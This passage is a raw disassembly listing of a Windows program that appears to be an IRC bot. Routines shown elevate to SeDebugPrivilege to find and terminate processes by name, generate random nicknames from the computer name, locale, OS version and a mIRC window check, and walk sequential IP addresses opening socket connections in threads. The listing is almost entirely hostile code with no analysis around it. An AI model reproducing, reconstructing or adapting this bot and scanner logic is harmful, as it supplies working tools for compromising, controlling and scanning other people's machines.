		jz	short loc_413C19
		sub	eax, 7C8h
		jz	short loc_413C12
		dec	eax
		jz	short loc_413C08
		dec	eax
		jnz	short loc_413C76
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413C08:				; CODE XREF: sub_413B75+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413C12:				; CODE XREF: sub_413B75+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C19:				; CODE XREF: sub_413B75+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C20:				; CODE XREF: sub_413B75+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C27:				; CODE XREF: sub_413B75+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C60
		jz	short loc_413C59
		sub	eax, 8ADh
		jz	short loc_413C8B
		dec	eax
		dec	eax
		jz	short loc_413C52
		dec	eax
		jz	short loc_413C4B
		dec	eax
		dec	eax
		jnz	short loc_413C76
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C4B:				; CODE XREF: sub_413B75+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C52:				; CODE XREF: sub_413B75+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C59:				; CODE XREF: sub_413B75+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C60:				; CODE XREF: sub_413B75+B9j
		sub	eax, 8CAh
		jz	short loc_413C92
		sub	eax, 17h
		jz	short loc_413C8B
		sub	eax, 25h
		jz	short loc_413C84
		sub	eax, 29h
		jz	short loc_413C7D

loc_413C76:				; CODE XREF: sub_413B75+35j
					; sub_413B75+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C7D:				; CODE XREF: sub_413B75+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C84:				; CODE XREF: sub_413B75+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C8B:				; CODE XREF: sub_413B75+C2j
					; sub_413B75+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C92:				; CODE XREF: sub_413B75+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_413C97:				; CODE XREF: sub_413B75+40j
					; sub_413B75+4Aj ...
		push	offset dword_468C00
		call	sub_4154E7
		pop	ecx
		mov	eax, offset dword_468C00
		pop	ecx
		retn
sub_413B75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CA9	proc near		; CODE XREF: sub_40CE55+20FBp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179F9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_42113C	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179F9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179DC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43A3A8
		test	eax, eax
		jnz	short loc_413D39
		mov	esi, offset dword_4689FC
		push	offset dword_437418
		push	esi
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_413D62
; ---------------------------------------------------------------------------

loc_413D39:				; CODE XREF: sub_413CA9+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B75
		pop	ecx
		mov	esi, offset dword_4689FC
		push	eax
		push	offset dword_4373DC
		push	esi
		call	sub_4154E7
		add	esp, 14h

loc_413D62:				; CODE XREF: sub_413CA9+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413CA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D67	proc near		; CODE XREF: sub_409DF3+7p
					; sub_413DD2+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_43A37C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_413D86
		leave
		retn
; ---------------------------------------------------------------------------

loc_413D86:				; CODE XREF: sub_413D67+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43A354	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_413DC4
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413DAD
		or	[ebp+var_8], 2
		jmp	short loc_413DB1
; ---------------------------------------------------------------------------

loc_413DAD:				; CODE XREF: sub_413D67+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_413DB1:				; CODE XREF: sub_413D67+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43A404	; AdjustTokenPrivileges
		mov	esi, eax

loc_413DC4:				; CODE XREF: sub_413D67+32j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DD2	proc near		; CODE XREF: sub_40CE55+47D9p
					; sub_413F83+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43A3B8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F7C
		cmp	dword_43A39C, ebx
		jz	loc_413F7C
		cmp	dword_43A2B8, ebx
		jz	loc_413F7C
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43A3B8	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F6F
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43A39C	; Process32First
		mov	esi, dword_42106C
		test	eax, eax
		jz	loc_413F6A

loc_413E75:				; CODE XREF: sub_413DD2+BEj
					; sub_413DD2+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43A2B8	; Process32Next
		test	eax, eax
		jz	loc_413F6A
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E75
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F22
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E75
		push	[ebp+var_124]
		push	8
		call	dword_43A3B8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EDF
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43A264	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413EE5
		lea	eax, [ebp+var_230]
		jmp	short loc_413EEB
; ---------------------------------------------------------------------------

loc_413EDF:				; CODE XREF: sub_413DD2+EBj
		push	[ebp+var_124]

loc_413EE5:				; CODE XREF: sub_413DD2+103j
		lea	eax, [ebp+var_108]

loc_413EEB:				; CODE XREF: sub_413DD2+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	loc_413E75
; ---------------------------------------------------------------------------

loc_413F22:				; CODE XREF: sub_413DD2+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E75
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413F65
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413F7C
; ---------------------------------------------------------------------------

loc_413F65:				; CODE XREF: sub_413DD2+18Cj
		push	1
		pop	eax
		jmp	short loc_413F7E
; ---------------------------------------------------------------------------

loc_413F6A:				; CODE XREF: sub_413DD2+9Dj
					; sub_413DD2+B5j
		push	[ebp+var_4]
		call	esi	; CloseHandle

loc_413F6F:				; CODE XREF: sub_413DD2+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx

loc_413F7C:				; CODE XREF: sub_413DD2+3Aj
					; sub_413DD2+46j ...
		xor	eax, eax

loc_413F7E:				; CODE XREF: sub_413DD2+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F83	proc near		; DATA XREF: sub_40CE55+538Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_4374E8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FE2
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h

loc_413FE2:				; CODE XREF: sub_413F83+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DD2
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41400A
		push	offset dword_4374AC
		jmp	short loc_41400F
; ---------------------------------------------------------------------------

loc_41400A:				; CODE XREF: sub_413F83+7Ej
		push	offset dword_437474

loc_41400F:				; CODE XREF: sub_413F83+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414042
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h

loc_414042:				; CODE XREF: sub_413F83+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B16D
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_413F83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414061	proc near		; CODE XREF: sub_40CE55+477Bp
					; sub_4150CE+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_414093
		push	0
		push	esi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_414093
		push	esi
		xor	edi, edi
		call	dword_42106C	; CloseHandle

loc_414093:				; CODE XREF: sub_414061+1Aj
					; sub_414061+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414061	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414098	proc near		; CODE XREF: sub_4036D4+Ap
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415543
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421668
		call	sub_415F8C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414098	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140C8	proc near		; CODE XREF: sub_414433+49p
					; DATA XREF: seg000:off_437530o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_42C228
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414121

loc_4140FB:				; CODE XREF: sub_4140C8+57j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4140FB

loc_414121:				; CODE XREF: sub_4140C8+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_414126	proc near		; CODE XREF: sub_40CE55+3D4Ep

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C1A0
		test	esi, esi
		jle	short loc_414169

loc_414153:				; CODE XREF: sub_414126+41j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414153

loc_414169:				; CODE XREF: sub_414126+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414126	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_43758C
		push	eax
		push	esi
		call	dword_42113C	; GetComputerNameA
		movsx	eax, byte_43758C
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_4141AF:				; CODE XREF: seg000:004141BAj
		cmp	eax, ecx
		jnz	short loc_4141B6
		mov	[ebp-4], edx

loc_4141B6:				; CODE XREF: seg000:004141B1j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4141AF
		push	61h
		pop	ecx

loc_4141BF:				; CODE XREF: seg000:004141CAj
		cmp	eax, ecx
		jnz	short loc_4141C6
		mov	[ebp-4], edx

loc_4141C6:				; CODE XREF: seg000:004141C1j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141BF
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C1A0, esi
		jle	short loc_41420B

loc_4141E5:				; CODE XREF: seg000:00414209j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4141E5

loc_41420B:				; CODE XREF: seg000:004141E3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437590
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414280

loc_41425A:				; CODE XREF: seg000:0041427Ej
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_41425A

loc_414280:				; CODE XREF: seg000:00414258j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438FBC
		mov	dword ptr [ebp-94h], 94h
		call	dword_42110C	; GetVersionExA
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41430A
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142EA
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142DA
		mov	esi, offset a95	; "95"

loc_4142DA:				; CODE XREF: seg000:004142D3j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414346
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_4142EA:				; CODE XREF: seg000:004142CAj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142FA
		mov	esi, offset a98	; "98"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_4142FA:				; CODE XREF: seg000:004142F1j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414341
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_41430A:				; CODE XREF: seg000:004142C1j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414341
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414323
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_414323:				; CODE XREF: seg000:0041431Aj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414333
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_414333:				; CODE XREF: seg000:0041432Aj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43759C
		jz	short loc_414346

loc_414341:				; CODE XREF: seg000:00414301j
					; seg000:00414311j
		mov	esi, offset dword_42B7D0

loc_414346:				; CODE XREF: seg000:004142E1j
					; seg000:004142E8j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_437594
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_41438A

loc_414364:				; CODE XREF: seg000:00414388j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_414364

loc_41438A:				; CODE XREF: seg000:00414362j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414390	proc near		; CODE XREF: sub_414433+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143DF
		call	dword_43A3A4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4375A8
		jnz	short loc_4143C8
		mov	eax, offset byte_438FBC

loc_4143C8:				; CODE XREF: sub_414390+31j
		push	eax
		push	esi
		push	offset dword_4375A0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_4143FF
; ---------------------------------------------------------------------------

loc_4143DF:				; CODE XREF: sub_414390+22j
		call	dword_43A3A4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4375A8
		jnz	short loc_4143F3
		mov	eax, offset byte_438FBC

loc_4143F3:				; CODE XREF: sub_414390+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4143FF:				; CODE XREF: sub_414390+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_41442E
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416F10
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		add	esp, 18h

loc_41442E:				; CODE XREF: sub_414390+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414433	proc near		; CODE XREF: sub_40CB75+7Fp
					; sub_40CCDD+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43752C

loc_41443F:				; CODE XREF: sub_414433+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_41445A
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_415910
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_414464
; ---------------------------------------------------------------------------

loc_41445A:				; CODE XREF: sub_414433+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_414464:				; CODE XREF: sub_414433+25j
		test	eax, eax
		jnz	short loc_414476
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437590
		jl	short loc_41443F
		jmp	short loc_414484
; ---------------------------------------------------------------------------

loc_414476:				; CODE XREF: sub_414433+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_437530[eax*4]
		pop	ecx

loc_414484:				; CODE XREF: sub_414433+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_414497
		push	[ebp+arg_0]
		call	sub_414390
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_414497:				; CODE XREF: sub_414433+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41449C	proc near		; DATA XREF: sub_414569+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43A398	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43A418	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41455A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43F534[ecx], esi
		jz	short loc_41455A
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43A424	; inet_ntoa
		push	eax
		mov	edi, offset dword_469264
		push	offset unk_4375AC
		push	edi
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D4C
		push	edi
		call	sub_40B16D
		add	esp, 28h

loc_41455A:				; CODE XREF: sub_41449C+5Dj
					; sub_41449C+7Ej
		push	esi
		call	dword_43A430	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_41449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_414569	proc near		; DATA XREF: sub_40CE55+34B1o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi

loc_414597:				; CODE XREF: sub_414569+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4375E8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43F328
		push	eax
		call	sub_416D40
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_41449C
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414603

loc_4145F8:				; CODE XREF: sub_414569+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_414603
		push	32h
		call	esi	; Sleep
		jmp	short loc_4145F8
; ---------------------------------------------------------------------------

loc_414603:				; CODE XREF: sub_414569+8Dj
					; sub_414569+92j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2CC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A394	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	loc_414597
sub_414569	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


